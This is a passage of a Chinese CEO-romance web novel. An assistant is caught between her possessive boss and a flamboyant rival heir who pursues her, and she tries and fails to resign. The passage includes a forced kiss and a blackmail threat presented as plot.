楼铮认真审视她,看她不像说谎,这才带着她离开医院,找了家餐厅吃晚饭。 吃饭期间,两人的气氛一直很沉闷。 沈韫浓知道楼铮不高兴,可她更委屈,这事儿怎么怪也怪不到她头上来。 贺韶瑭这个人简直是无妄之灾,对了,今天还有陈知意这个“神助攻”。 于是,楼铮不说话,她也不说。 楼铮没怎么动筷子,只静静地看着她吃,许久才开口:“我前几天刚让人把贺韶瑭的会所一把火烧了,所以他才发疯。” 他跟沈韫浓解释。 沈韫浓没作声,心说你俩打架能不能别带上我? “沈韫浓,你别怕。天塌下来有我。”他又说。 我不会让你受委屈。这句话太肉麻,被咽了下去。 沈韫浓心里的白眼都翻上天了。 要是没他,贺韶瑭哪里管她是谁,天又怎么可能会塌? 很多事情,就是因为他的出现才变得这么复杂。 楼铮是她生命里的意外。 这件事一出,她又开始在心里衡量楼氏的工作还要不要做了。 如果她的计划能成功,苏磊给的好处能让她一次性还清房贷。 这样的话,她压力小了,完全可以换一份工作,哪怕刚开始收入低一些,再接点翻译的兼职也是一样的。 虽然离开楼氏这个大平台确实可惜,但新环境最起码人际关系简单,她也更容易专注自己的事。 沈韫浓吃着饭发呆,这个念头一起就有点压不下去,辞职的心越来越强烈。 她警告自己要慎重,一定想周全了再说。 一顿饭两人吃的都不怎么开心,饭后,楼铮送她回家。 两人在小区门口告别。 “多谢楼总,晚安。”沈韫浓说。 楼铮下意识想抱她,手虚虚地抬起,又落下。 路灯下,他的眸子里带着隐忍。 沈韫浓权当没看到。 回去后,田欣刚洗完澡出来,在客厅里看综艺。 沈韫浓路过瞟一眼,挺好的小姑娘品味有点差,居然是宋悠悠粉丝。 没想到田欣直接一把拉住了她。 “姐姐,你跟贺少约会去啦!快跟我说说,约会顶级豪门什么感觉?让我也做做梦!” 沈韫浓:“没有,他把我送到公司加了个班。” 她随口扯谎。 田欣显然不信:“怎么可能,要是太子爷约我,破工作我就不要了!” 沈韫浓懒得跟她解释,又扯了几句终于脱身。 当晚,贺韶瑭便通过了她的微信请求。 贺韶瑭加上她微信的第一件事竟然是连发了10个52000的转账过来。 “今天吓到了吧?去检查一下身体,再买个礼物开心一下。”他说。 就……非常符合沈韫浓对纨绔子弟的刻板印象。 微信对澳城太子爷没有限额的吗,为什么他能发这么多? 沈韫浓没收钱,也没回复。 她对贺韶瑭设置了消息免打扰,只希望他对她的兴趣快点过去。 被这样的人盯上,对她来说只有麻烦。 然而,这一切只是个开始, 真正的重头戏还在后面。 第二天,沈韫浓上班,遇到的每个人都在意味深长看她,特别是一声声“谢谢沈助理”,更是听得她莫名其妙,毛骨悚然。 她只能随机拉住一个同事问:“都谢我做什么?大家今天怎么这么奇怪?” 那人一副“别装了”的表情,出言调侃:“还不是你男朋友请全公司的人喝咖啡。沈助理,你看着不声不响的,连贺家太子爷都谈上了,真是深藏不露啊。” 沈韫浓性格好,在公司人缘不错,可即便如此,那位同事的语气也是调侃里带着点酸,可见其他人对这件事会是什么态度。 楼氏大厦这边是总部,有几百个员工,每个人都喝到了贺韶瑭请的咖啡。 沈韫浓猜测,以贺韶瑭那么张扬的性子,估计连楼铮都会送。 她路过总裁办公室时往里瞟一眼,万幸,楼铮不在。 一想到自己接下来辟谣跑断腿的样子,沈韫浓就头大。 本以为同事们一声声的感谢已经是酷刑。到了办公室,一束稀有色的永生花玫瑰大剌剌摆在工位上,简直给了沈韫浓致命一击。 她像看见了不得了的脏东西,抱起花,一口气跑出去,直接丢在了楼梯拐角处的大垃圾桶里。 回去后,依然有同事凑上来调侃。 “一直以为沈助理单身,没想到沈助理是真人不露相。是不是过几天要叫一声贺太太啦?” “沈助理,你跟贺少谈多久了?该不会是楼总介绍的吧?” “有这么顶级的男朋友,你是怎么忍住不炫耀的?” …… 有纯八卦的,也有八卦中带着酸的酸的,共同点是每个人都目光灼灼,眼神里带着吃瓜的兴奋。 沈韫浓正色:“贺少不是我男朋友,他欠我个人情而已,所以请你们喝咖啡。” “切,”有人不信,手里拿了张卡片,“表白的话都写这么明确了,沈助理还要装傻!” 那张卡片,是在那束永生花玫瑰里的,沈韫浓看都没看,直接扔掉了,此刻居然到了他手里。 卡片上,用繁体字写了:“沈韞濃,我好中意你”,下面,是贺韶瑭的签名,字迹龙飞凤舞,嚣张到肆无忌惮。 第七十三章 聚变能源 “哇,粤语谈恋爱这么浪漫!” 一个女同事露出花痴神情,居然学着港剧里的口音,读了出来。 “我好中意你!” 中意你个大头鬼! 沈韫浓顿时起了一层鸡皮疙瘩,社死得脚趾恨不得在地上抠出三室两厅。 她强忍着找个地缝钻进去的冲动,一脸哭笑不得:“球球了,我真没谈。你们也知道的,我之前还想追凤栖总呢……” “你啊你,这不比那个好?!”,那几个同事都摆出了一副“恨铁不成钢”的表情。 人帅、多金,还愿意给你花钱! 还有人拒绝这样的男人呢?! 沈韫浓跟他们解释不清,但她知道,她被拖进了这趟浑水,想脱身可就难了。 在各路同事审视的目光中,强撑了一天。 唯一庆幸的是今天楼铮一大早就出门视察去了,不然她还得跟楼铮解释半天。 这件事的后遗症是,突然间所有同事都开始过分客气起来。 在他们眼里,沈韫浓已经半只脚踏进豪门了。 这样也有一点好,起码沈韫浓沟通起工作来更顺畅了,哪怕之前再龟毛难搞的同事都变得好相处了不少。 到了下班时间,同事们陆续走了,沈韫浓临时有点事,加了会儿班。 手机响起,是潘琳微信发了个视频过来。 沈韫浓打开,直接眼前一黑。 视频里是她下班的必经之路,一身白西装戴金丝眼镜的贺韶瑭,手里拿了束花,靠在一辆橙色阿波罗EVO上。 骚气的人配骚气的车,引得无数路人拍视频。 “你要是不准备答应贺少,最好躲一躲,别到时候闹得太难看。”潘琳好心提醒。 沈韫浓在微信里给潘琳哐哐磕头,关了消息只觉得一个头两个大。 贺韶瑭这么搞,她连班都不敢下了。 沈韫浓去茶歇区拿了点小饼干过来,给自己泡了杯咖啡,索性加个班。 行,耗吧,她倒是要看看贺韶瑭什么时候走。 结果咖啡刚喝了一半,林贞的电话打来。 “下来,我在地下停车场。” 沈韫浓顿时又惊又喜:“你怎么知道我还在公司?” “你们公司那个姓潘的总助给我打的电话。”林贞说,“要不是我上次拉着你去玩,贺韶瑭也不会……” “打住!跟你有什么关系,明明是因为楼铮。” 沈韫浓不说,就是怕林贞一股脑儿把这件事怪到自己头上。 只是没想到潘琳会直接联系她,怎么想都知道是楼铮的授意。 林贞语气轻松了一点:“那快下来,姐姐救你出去!” 沈韫浓:“可贺韶瑭那个位置,从地库出来也会被看到吧?” 林贞自信满满:“放心,包不出问题的!” 到了地下车库,一辆五菱宏光对她按了按喇叭,林贞在驾驶位探出头,对她招手。 沈韫浓看了一眼眼前的车。 车身脏得已经看不太出是银灰还是黑色,两个后视镜其中一个没有镜片,后面的车窗还坏了一块,用三色防雨布贴着。车身还贴着“货拉拉”三个大字。 “难为你了,居然能找到这样的车。”沈韫浓简直哭笑不得。 她心说,开这辆破车怕是林大小姐这辈子吃过最大的苦了吧。 林贞傲娇地抬了抬下巴:“怎么样,临时从报废车场借的。” 她胆子不小,五菱宏光从地下车库开出来,甚至敢特地贴着那辆阿波罗EVO过去。 贺韶瑭眼睛盯着大楼出口的方向,看都没看这破车一眼。 但林贞狠狠瞪了他。 “啧,你可别被贺韶瑭的色相迷惑了,他这种表面斯文的,实际上最会玩。”林贞说,“听说贺韶瑭就是那种会用领带蒙住眼睛玩捆绑play的。” 沈韫浓:“……” 这是可以说的吗,请问? 车开上主路,林贞按了下喇叭,忍不住又问沈韫浓:“你真的,不考虑楼铮吗?其实如果你跟楼铮在一起了,很多事情都能迎刃而解了。沈英耀不敢再动你,贺韶瑭也不敢光明正大对付你。” 沈韫浓揉太阳穴,叹口气:“好好活着不好吗?跟楼铮在一起是不用怕姓沈的了,可他会更抓着我妈不放,等到楼铮跟我分了,他就会更肆无忌惮……而且,姓沈的不敢动我,可姓楼的姓陈的就不会放过我了,你忘了我被关在银行的事了?别到时候我从沈家出来了,但命没了。” “也是哈……骚凹瑞。” 林贞也是病急乱投医了,光想着贺韶瑭是个麻烦,却忘了楼铮本身更是个大炸弹。 这辆车应该很久都没人开了,车内一股子汽油和灰尘混杂的味儿。 上主路后沈韫浓降下车窗。 此时,对向车道一辆银灰色科尼赛克开了过去。 她好像看到了楼铮的侧脸。 一定是他。 科尼赛克这辆车,光裸车就9位数,全海市只有他这一辆。 林贞也看到了。 “两位太子爷不会又开碰碰车吧?”她问。 沈韫浓:“不要管。走,我请你吃饭。” 就算闹出人命,也跟她没关系。 沈韫浓越发觉得,楼氏她待不下去了。 也是没想到,前阵子她还信誓旦旦跟楼铮说,要做最忠诚的下属。打脸来得太快,沈韫浓也有点无奈。 楼铮消失的这一天,跟他的小伙伴们在一起。 他一个电话,把蒋煜和霍司岐都叫来了海市,又叫了周彦。 工作日上午四个人开着超跑在市中心游荡,之下午去打了高尔夫,看了马术表演。怎么看都是只知道吃喝玩乐的公子哥做派。 一直到他们招摇够了,给够了媒体素材,才在会所的包厢里关起门来聊正事。 “海油隧道的项目,你确定我们聚变要插手?” 霍司岐端了杯莫吉托,一边喝一边问楼铮,“这个项目,我没猜错的话,虽然是陈家在争,但得了利润,是楼家占大头吧?你自己家的墙角也要挖?” 楼铮吸了口烟,吐出一口浊气,盯着手机没有说话。 所有人都觉得,楼铮有现在的地位,是因为楼老太太抬举。 可没多少人知道,如今北城第一的聚变能源,是楼铮一手创办的。 那时候,他们才18岁,寝室里除了楼铮以外,蒋煜、霍司岐和周彦都是在家里没继承权的二世祖。 楼铮见不得他们整天闲的无所事事,干脆拉着他们一起开了家小公司,原本只是玩玩的,没想到越做越大,短短五年时间,已经做到北城第一了,这幕后的操盘手,就是楼铮。 这几年聚变在北城已经到了如日中天的地步,要是真去竞标,哪里还有陈家什么事?所以霍司岐必须把话问在前面,别到时候大水冲了龙王庙,就搞笑了。 第七十四章 吃瓜三人组 彼时,楼铮没骨头似的靠着抽烟,正在看潘琳发来的微信图片—— 一束被扔在垃圾桶的永生花玫瑰。 “楼总放心,沈助理对贺少的追求不屑一顾,非常有骨气。”潘琳说。 他盯着那张图,脸上的神色晦涩不明,好似根本没听到霍司岐说什么。 “他确定。他的小女朋一点安全感没有,要是再不快点把陈家搞垮,他的小女朋就彻底跑了!”周彦替他答。 蒋煜想唱歌,刚拿着麦克风“喂”了两声,一听这话,也对霍司岐眨眼:“没想到阿铮这么恋爱脑吧?你都没见过他不值钱那样儿。” 他学楼铮的语气:“我们要去滇池看海鸥~” 惟妙惟肖的模样,引得霍司岐笑得一口酒喷到了周彦的衬衫上。 晚上,四人一起吃饭,菜刚上齐,楼铮就接到了潘琳的电话。 “你们先吃,我去一趟。”他说着,起身走了出去。 “我们帮你!”三人异口同声。 楼铮似笑非笑,看他们一眼:“想看热闹就直说。” “想看!”又是异口同声。 “不给!” 楼铮独自走了。 他一走,蒋煜先去关上了门。 之后,霍司岐和蒋煜把周彦围住,露出八卦表情。 “快,说说,多说点楼铮的舔狗行为,让我们开开眼!” …… 贺韶瑭这边没等到沈韫浓,先等到了警车和拖车。 几个制服的交警来到他的跑车前,连招呼都没跟他打,直接把跑车往拖车上铲。 “干什么?!”贺韶瑭脸先黑了。 “有人举报您这里违规占道,影响交通。”为首的警员说。 贺韶瑭要气笑了。 “我又不在主路上,影响什么交通了?” “但您的位置是停车场和写字楼出口。”警员说,停顿了一下又道,“我们知道您的身份,不瞒您说,举报那位,我们也得罪不起,您别让我们为难。” 好,非常好。 脚趾头想都知道是谁举报的了。 贺韶瑭往旁边让了一步,给那些人留出位置。 “拖吧。”他说。 那帮交警不敢看他,几乎是全程低着头。 不过十几分钟时间,贺韶瑭的超跑上了拖车,那些人也迅速在他面前撤走。 他的脸上一片沉冷,打了电话出去。 “去,把楼铮停在我地盘上那辆大牛砸了。砸完拍照。” 打完电话,贺韶瑭抬眼,对着马路对面那辆科尼赛克双手竖起中指。 不多时,楼铮的手机上收到贺韶瑭发来的图片,是他那辆被砸得稀巴烂的大牛。 他眼睛都没眨一下。 与此同时,贺韶瑭的电话打来,楼铮秒接。 “楼铮,我送你的大礼,怎么样?” 那边笑得猖狂,楼铮八风不动:“贺韶瑭,你也就这点能耐。” “游戏才刚开始,我的能耐你怕是还没见识到。” “沈韫浓不过是我的助理,就让你费这么大心思。不知道的,还以为你的人生没有别的追求,就是靠抢我的人和东西活着。” “助理能让你把整个家族的人抛下陪着跨年,你当我傻?那天你还不口口声声说是女朋友的?” 后面的话楼铮没接,直接把电话挂了。 楼铮回去时,那三个人在包厢里一边斗地主一边等他。 一见他回来,一个个眼冒精光。 “怎么样,又打起来没有?” “沈助理那么柔弱,不得感动得抱着你哭?” “不然哥几个也给你整个表白墙?咱阵势不能输啊!” 三个人你一言我一语,唯恐天下不乱。无非是因为他们知道,这对楼铮来说不是什么大事,他应付的了。 楼铮扫了一圈这三个家伙,凉凉道:“我看你们就是太闲了,要不,也别在国内呆着了,我今年准备开拓非洲市场,正好把你三个派过去驻守。” 三人迅速跳开。 周彦:“我外语不好,去不了!” 蒋煜:“不了不了,我家茶山离不了人,我明天就得回花都了!” 霍司岐更直接:“我不喜欢洋妞,黑皮的白雪公主都不行,我不去!” 楼铮无语地睨了三人一眼:“交友不慎啊……” 他们继续吃饭,插科打诨,任谁也看不出楼铮刚被砸了一辆上千万的爱车。 晚上9点,楼铮的电话又响,是老宅的管家。 管家说,老太太让小厨房做了宵夜,请他过去吃。 楼铮失笑,老太太最讲究养生,平日里这个时候,已经收拾妥当准备入睡了。 今天叫他,想必是听说了最近的事。 别的不说,公司里都是老太太的耳目,白天贺韶瑭对沈韫浓大张旗鼓表白的事,想必早就传到了老太太耳朵里。 再联系一下前天两人撞车,也就知道了怎么回事。 “走了。”楼铮再次起身,跟三人摆摆手。 三人这下也觉得苗头不对,不敢再玩笑了。 “你回去哄着点老人家,别犟嘴。”周彦送他出门,特地嘱咐。 楼铮哼了一声,不置可否。 晚上9点半,楼铮到了老宅。 老太太让厨房做了燕窝粥给他,自己在一旁靠着摇椅喝安神茶。 楼铮坐下没事人似的,连喝了两盅,老太太不说话,他也不尴尬,不给老太太递话头。 老太太不得不自己先开口。 她先问了公司业务进展状况,楼铮一一答了。 “生意的事上,你一向杀伐决断,眼光又毒辣,奶奶把家业交给你,比交给谁都放心。”老太太说。 接着,又说起了前天撞车的事。 “你和韶瑭从小就不对付,总打架。”老太太说,“车也不是什么要紧的东西,人没事就好。” 楼铮直说:“他先撞我。” 楼老太太点头:“奶奶都听说了。” 又说,“韶瑭也是孩子心性,他看上了你那个助理,也是一时兴起,玩玩罢了,你不理他,他慢慢也就收敛了。” 楼铮放下手里的汤匙,一步不让:“他跟别人乱搞乱玩我管不着,可我手下的人,不能动。” 老太太跟楼铮最投脾气,楼铮也愿意哄她开心,一直都对她言听计从,这样回嘴是头一次。 她的茶碗几次放下又端起,明显压了火,最后却也只是叹了口气。 “这件事交给奶奶处理,奶奶让他收敛点就是了。你也看看你姑姑的面子。 韶瑭都成年了,贺家又突然冒出了个比他还大的私生子……他也是个可怜人。” 话说到这份上,楼铮也不好再说什么。 他点点头:“只要他以后不挑衅,我不会动他。” 老太太得了准话,脸色才好看了一些。 接着,老太太又问了他和陈知意的进展。 “你是男人,年纪大点儿不碍事,可知意一个小姑娘家,哪能一直这么拖着,你们俩早点结婚,奶奶要是能看上一眼曾孙,就算走也能放心了。” 第七十五章 沈助理想跳槽 楼老太太是个人精,知道说什么能让楼铮听得进去。 听她这么说,楼铮的心马上软了下来。 “奶奶,您肯定能长命百岁的。”楼铮握老太太的手。 楼老太太去年查出了癌症,中期。这事只有楼铮和老太太身边几个心腹知道。 不是治不好,只是八十的人了,家业又后继有人,她也没什么放心不下的,就不想再吃那份苦了。 老太太微微摇了摇头。 “也就这几年的事了。” 她慈爱地看着楼铮:“奶奶啊,最放心的,就是你。” 楼铮抿唇,心头涌上无限伤感。 楼铮在老宅坐到10点多,一直到把老太太送回房才往回走。而沈韫浓跟林贞吃饭逛街一条龙,回到住处也晚上10点多了。 刚进家门,田欣便迎了上来,眼里闪烁着对八卦的渴望,翻出一段视频递给沈韫浓。 “姐姐。这个视频是贺少吧,他是在等你吧?!你这么晚回来,你们约会去了?!” 沈韫浓无语,田欣这个小姑娘什么都还好,就是人太八卦了,有点没有边界感。 她笑了笑:“应该是等别人吧,我是和闺蜜吃饭逛街去了。” 田欣一副不信的神情,沈韫浓也懒得多解释,直接去卫生间洗漱,之后进了自己房间。 一直到躺在床上,沈韫浓看手机,才发现楼铮的未接视频。 她把上半身的睡衣换成衬衫,才回拨过去。 楼铮接了视频,镜头照着天花板。 “楼总,有事吗?”沈韫浓问。 楼铮短暂地沉默了一会儿才说:“贺韶瑭的事你不用担心,该做什么就做什么,有我收拾他。” 沈韫浓对他的做法不赞成,忍不住说:“其实不用这样,冷处理就好了。” 楼铮:“嗯?说来看看。” 沈韫浓:“贺少会在意我,是因为他以为我是你的女人。只要你不在意我,过几天他发现我真的只是你的助理,到时候眼神都不会多给我一个。” 楼铮又沉默了一瞬,猝不及防,屏幕里出现了他的脸和肩颈。 他刚才应该是刚洗完澡在擦身子,脖子上还滚着水珠。 啧,这人怎么光着打视频啊! 沈韫浓强迫自己别开目光,不去看他的身体。 她的双颊发烫,像喝了酒上脸似的,粉津津的。 楼铮觉察出了她的异样,挑了下眉。 “他想的,也不算错吧?”他反问。 沈韫浓尴尬:“之前的确是走了一点错路,但不是迷途知返了吗……” 她底气不足,每次谈论这个话题,都好像自己是那个拉楼铮下水的人,祸害了一个纯情少男一样。 楼铮嗤笑一声:“跟我是迷途?” 沈韫浓:“……毕竟不光彩。” 楼铮冷着脸直接挂了。 沈韫浓:?又甩脸子? 别管他俩怎么回事,她在贺韶瑭这件事上是受害者吧? 这个工作,她是一天都不想干了。 沈韫浓连夜爬起来给自己之前的简历改了改,开始海投。 给楼铮做过助理这件事写到履历上,也是浓墨重彩的一笔。她就不信,在别处找不到个好工作了。 沈韫浓分析自己的情况,她实在缺钱,裸辞是不能裸辞的,一定要骑驴找马。 如果辞了楼氏这边,陈知意那边也最好不去了,走就走个干净。 当晚,沈韫浓精神高度亢奋,直接失眠了。 第二天上班,她困得睁不开眼,却还要特地早去了半小时,以防再有莫名的咖啡和花送进来。 还好,一直到中午也没有什么异样,她稍稍松了口气。 殊不知,一早上贺韶瑭就被楼老太太叫走了。 跟楼铮不同,贺韶瑭虽说是老太太的外孙,可到底姓贺,老太太是一句重话都不说的,只管宠着,拉着他一阵嘘寒问暖。 到了中午,又说海市这边的春菜问世了,留他吃饭。 反倒是贺韶瑭心虚,几次欲言又止。 一直到吃完午饭,老太太才让人拿了把车钥匙给他。 “你车撞坏了吧?外婆给你补一辆。” 贺韶瑭尴尬:“什么都逃不过外婆的法眼。” 老太太横他一眼:“都多大了玩心还这么重。你家里这种情况,当务之急是找个门当户对的大家闺秀。韶瑭啊,澳城不比内地,你可是你妈唯一的依靠。” 这话说在了点子上。 不止老太太这么说,贺韶瑭母亲也说过,要想稳定他继承人的地位,岳父家的实力还是很重要的。 贺韶瑭心虚,强笑道:“我也想稳定下来,不是没有合适的吗,陈家倒是挺好的,可您把陈知意许给楼铮了啊。” 老太太一听,越发满意她给楼铮安排的亲事。 她劝贺韶瑭,要找还是在澳城找,互相有个帮衬。 贺韶瑭笑着应了。 这件事里,老太太也没提沈韫浓,因为她是最不要紧的人。 下午也无事发生,沈韫浓松了口气,直到她去跟潘琳向楼铮汇报工作时,出了岔子。 有个电话打进来。 陌生号,她下意识挂断。 可对方很执着,一直打。 “你接就是了。”楼铮说。 沈韫浓只得硬着头皮接。 她不小心触到免提键。 “沈小姐,您的简历我们已经收到了,您明天下午有时间来我们公司面试一下吗?” 第七十六章 冷板凳 一时间,总裁办公室的空气都凝固住了。 沈韫浓强做镇定。 “你打错电话了,我没投简历。”她说,接着迅速挂断。 “也不知他们接的哪个沈小姐的简历。” 她故作轻松,对楼铮和潘琳笑道。 两人静静地看着她,谁也没接话,更没笑。 气氛有点尴尬。 后面再汇报,沈韫浓便多少有点心不在焉。 结束后,潘琳离开,她不出意外地被留了下来。 办公室的门在眼前关好,楼铮坐在真皮老板椅上,交叠着长腿,一双眸子深暗地看着她。 “想走?做的不开心了?” 这还用问吗?这么复杂的职场关系,心多大才能开心? 楼铮这么问,沈韫浓硬着头皮回答:“没有不开心,只是有新的职业规划而已。” “什么规划?” 其实,沈韫浓也不好说。 她这一生没有非做不可的职业,也没有非完成不可的梦想。最想做的无非是往高处爬,扳倒沈家,把顾曦薇从火坑里救出来,然后安安稳稳地过日子罢了。 当初来楼氏,也是抱着这个心思,可现在发生的一切,已经背离了她的初衷。 楼铮看她被自己问住,语气软了一点。 “贺韶瑭的事,是我的问题。以后,他如果再来,你打他就是了。别担心,凡事有我。” 听得出来,楼铮已经在说软话了。 但多少有点何不食肉糜的意思。 也不知道他是真没想到还是在装糊涂,自己要走的原因不就是因为有他? 她昨晚说得还不够清楚吗? 她沈韫浓对贺韶瑭来说,连个玩意儿都算不上,要不是楼铮,自己送上门去贺韶瑭都不会多看一眼。 但楼铮……她现在还敢说自己绝对不会动心,不会爱他,以后呢? 沈韫浓也是个一根筋,决定的事很难改变。 原本离职的事,她是想着等着新工作落实了再说,可既然已经被发现了,择日不如撞日,索性说开了。 她心一横:“贺少只是一方面,最主要就是,我想换个人际关系单纯些的环境。” 她有点不敢看楼铮的眼睛,却强迫自己和他对视,不能有丝毫的心虚。 “呵。”楼铮冷笑一声,站起身来。 他又伸手掐她的腰,带着她一个转身,将她压到办公桌上。 沈韫浓扭了一下,根本逃不开他的桎梏,她皱起眉。 “沈韫浓,我有没有说过,除了放你离开,你想要什么都行?我都答应不碰你了,还要怎么样?” 楼铮鲜少有失控的时候,沈韫浓记得他和贺韶瑭撞车,把那辆布加迪直接撞到报废,事后也不过平静地点了根烟。 可现在他眼里的怒火像要扑出来,将她团团包围,把她烧成一抔灰烬。 天知道,这段日子看她在眼前,亲不得抱不得碰不得,他忍得有多辛苦。 在楼铮灼热的注视下,沈韫浓紧张地咽了一下口水。 “我只想要辞职,楼总,我只是你的下属,又不是你的奴隶,我本来就有辞职的权利。” “你没有这个权利。”楼铮发了狠,掐得她的腰窝生疼,“沈韫浓,你是我的人,我说过,你最好自己愿意,不愿意,也由不得你。” 他的眼里,是满满的占有欲和攻击性,沈韫浓看得心惊。 她终于偏过头去,声音也软了一点:“楼铮,别这样。给我一条活路。” 楼铮最恨这话,跟他就是死路吗? 他托她的脸,不由分说印上自己的唇。 楼铮的吻一如既往的强势。 他压着她,夺走她所有的呼吸,不给她任何喘息的空间。 沈韫浓也恼了,有问题不解决问题,有话不好好说,就知道亲她有什么用? 她用了大力气挣扎,可两人的体力和身形太悬殊,她的举动在楼铮看来跟挠痒痒没什么两样。 他一边亲,还能一边伸手,捉住她的手腕,将她的两只手压在自己身前。 不得已,沈韫浓准备故伎重施,攻击他的下三路。 膝盖刚一抬,又被他预判,夹住了腿。 就这样,她以一个怪异的姿势,金鸡独立,身子还向后倾着,被他压制,索取。 沈韫浓又急又气,发狠咬破了他的嘴唇。 腥甜的铁锈味在口腔蔓延,见了血,楼铮才稍稍冷静下来。 他放开她,退后半步。 “我这周会交离职申请,还希望楼总行个方便。”沈韫浓抬眼看他,眼神平静,敛去了所有情绪。 说完,她整理了一下自己被楼铮弄乱的衬衫,往门口走。 “抱歉,你走不了。” 楼铮站在她身后说,他的声音里平静中带着病态的执拗:“如果你不想让姓沈的知道,你和苏磊的事,最好就乖乖的留在楼氏。” 沈韫浓顿住。 她回头:“所以,楼总是准备用这件事威胁我吗?” 楼铮:“原本不想这样,可似乎我也没别的办法。” 他唇上沾了一点血,眸子里火焰已经冷下来了,此时神色淡然得好像刚才什么都没发生过。 这才是他,一个会利益交换的商人。刚才的情绪上头不算的。 这个认知让沈韫浓抿唇,没有再说话。 “回去吧,做事前想想后果。”楼铮坐回了他的老板椅上,漫不经心转了转右手食指上的戒指。 离开办公室,沈韫浓靠在走廊的墙上,几次深呼吸。 她凭什么觉得自己能跟楼铮要求公平?还是那句话,看一个人如何,不要看他上头的时候,要看他平时的态度。 他上头的时候,愿意宠着她哄着她,生气了,捏死她,像捏死一只蚂蚁那样简单。 她还是太嫩太天真。 辞职的事,才冒头就被扼杀在摇篮里,沈韫浓这下投简历的心情都没了。 先一样一样来吧,她和苏磊的谋划,并不需要太长的周期,大不了等这边有了结果再说。 这件事带来最直接的影响是,沈韫浓开始被边缘化了。 不知是楼铮还是潘琳的意思。 她这个五助原本处理的就不是什么核心工作,现在简直成了挂名的闲职。 手头上一时没什么事儿可以做,沈韫浓去茶水间的时间都长了。 她起初乐得清闲,干脆拿了点自己接的法语电影翻译私活儿来公司电脑上做。 这种情况持续了有大半个月,这半个月,楼铮出差频繁,但从来没带过她。 一开始,同事还以为是沈韫浓攀上了贺韶瑭,所以楼铮不好再把她当成普通助理一样随意使唤,渐渐地,有不少人都回过味来。 合着,这是坐冷板凳了啊。 可沈韫浓偏偏有超绝钝感力,跟什么都不知道一样。该做什么就做什么,把“宠辱不惊”四个字表演的淋漓尽致。 贺韶瑭也没什么动作,同事们吃了两天瓜后,似乎也慢慢淡忘了。 再遇上,是半个月后,一点小意外。 第七十七章 你是不是喜欢楼铮 坐冷板凳期间,沈韫浓空闲时间变多了起来,她斥“巨资”办了张健身卡,去学了格斗—— 沈家爆雷是早晚的事,万一沈英耀哪天发疯的时候,她不至于没有一点还手之力。 她体力一般,但胜在够灵活,会用巧劲儿,有模有样的上了几节课,竟然收获不错。 用教练的话说,至少她这个量级的女孩子都打不过她。 沈韫浓:“……她们本来也打不过我。” 别说她这个量级的女孩子,沈清妙比她重10斤,不也还是她的手下败将吗? 但不管怎么说,沈韫浓也觉得自己课上的值,最起码她再打起架来,不会再伤敌一千自损八百了。 楼铮出差,又没有任务派给她,沈韫浓白天上班摸鱼搞副业,晚上学格斗,抽空八卦一下沈家的动向,日子突然好过了起来。 她更是一点点享受到了出来独居的快乐。 果然,人在地狱里待久了,去哪里都会觉得幸福感有提升。 这天上完两节课,已经是晚上9点多。 一身粉色运动服的沈韫浓从格斗馆出来,楼下隔壁小酒吧,恰好出来一个男人。 那男人站在外面抽烟等人,看了她好几眼。 之后走过来搭讪:“美女,加个微信啊?” 沈韫浓:“不好意思,没带手机。” 拒绝这样的搭讪她很习惯。 她迅速往前走,想甩开这个人。 谁知,这人蹬鼻子上脸。 “那亲个嘴儿吧,我看你带嘴了。” 沈韫浓用余光看他,男人目测也就170CM左右,瘦了吧唧,看着还不是有肌肉的精瘦,是那种精神小伙皮包骨的瘦。 她突然就想看看自己的学习成果,来个随堂测试。 于是,沈韫浓站住,似笑非笑看他:“你是不是觉得自己挺幽默?” 那男人看沈韫浓笑,心都飞了。 他伸手要摸沈韫浓的脸:“这你都看出来了,哥哥可是经常在这个酒吧讲脱口秀开放麦的。” 沈韫浓敛笑:“我给你3秒钟离开的机会。3——2——” 男人发出怪笑:“我不走你会怎么样?该不会要亲死我以示惩戒吧,啊哈哈哈……” 沈韫浓拉他一只胳膊,接着一个扫堂腿。 男人没料到她会先动手,一个猝不及防,竟然双膝跪地。 又被沈韫浓照着肚子踢了一脚,发出“哎哟”一声。 周围人来人往,男人顿时没了面子。 第七十八章 送你个礼物 贺韶瑭顿时露出吃屎一样的表情。 “你脑子里进水了?!老子跟他势不两立!” 沈韫浓:势不两立吗?我看你倒像是他的跟屁虫,只想跟他往一条路上走。 这话她不敢说,就这么让贺韶瑭的话落在了地上。 但贺韶瑭会自己没话找话:“我刚帮了你,怎么谢我?” 沈韫浓想了想。 今天的确是她欠贺韶瑭一个人情,换了别人,她一定会请吃饭的。 可贺韶瑭,不是适合一起吃饭的人。 “我送你个礼物行吗?” 沈韫浓问,之后也不等贺韶瑭回答,直接低头翻包。 她从一堆衣服和防护手套里拿了把匕首出来。 “贺少不嫌弃的话,这个送你。” 朴实无华的匕首,鞘上甚至有了磨损痕迹。 贺韶瑭接过来,饶有趣味地抽开,竟然被晃了一下。 匕首是开过刃的,看得出还时时保养,很锋利。 “随身带刀?” 沈韫浓:“嗯,没办法,我太漂亮,遇到坏人的概率太大。” 贺韶瑭:“……” 沈韫浓的确漂亮,他也是这么认为。 但被她自己说出来,不知怎么就变了味儿。 没有自夸美貌的意思,倒好像在阴阳他。 贺韶瑭的太阳穴明显突突了两下。 这个女人,确实有点意思。 头一回,贺韶瑭理解了楼铮。 “这个可以吗?”沈韫浓问,贺韶瑭要是说不够,她只好准备赖账了。 “可以。”贺韶瑭点头,把匕首收了。 “不过再提个要求。” “您说。” “你下次见到我,别一副见到鬼的样子,我好歹也算你救命恩人了。” 沈韫浓:“……这么明显吗?” 第七十九章 沈韫浓求的红绳 几位乙方签完合同,千恩万谢地走了。 霍司岐和楼铮留在公司喝茶,顺带聊一下后续项目的进展。 楼铮脑子里都是沈韫浓那条消息。 她说自己被坏人搭讪,所以动起手来。 也是,这家伙长成这样,确实容易招烂桃花。 楼铮觉得自己该加派点人手保护她一下。 毕竟她和苏磊的计划差不多也到了快收网的时候,沈英耀也有可能会找她麻烦。 她最会察言观色,审时度势。坐了两星期的冷板凳,也应该学乖了吧。 楼铮强忍着回微信的冲动,决定继续晾着她。 他神游,引得霍司岐不满。 这阵子见楼铮心情不好,霍司岐每天好吃好喝供着不说,还变着花样哄他开心,合着抛媚眼给瞎子看,自己做再多,都不如沈韫浓一条消息好用。 楼铮翘着二郎腿,嘴边带了一点笑意。 霍司岐越看他越来气,突然,像是发现了什么不得了的东西。 “这是什么?”他伸手撩他裤管,接着便看见了一截红绳。 楼铮面不改色。 “红绳,沈韫浓在姻缘殿里求的。” 霍司岐眼皮直跳,脸上的肌肉抽了抽:“你确定,是求来给你的?” 楼铮:“在我手里当然是给我的。” 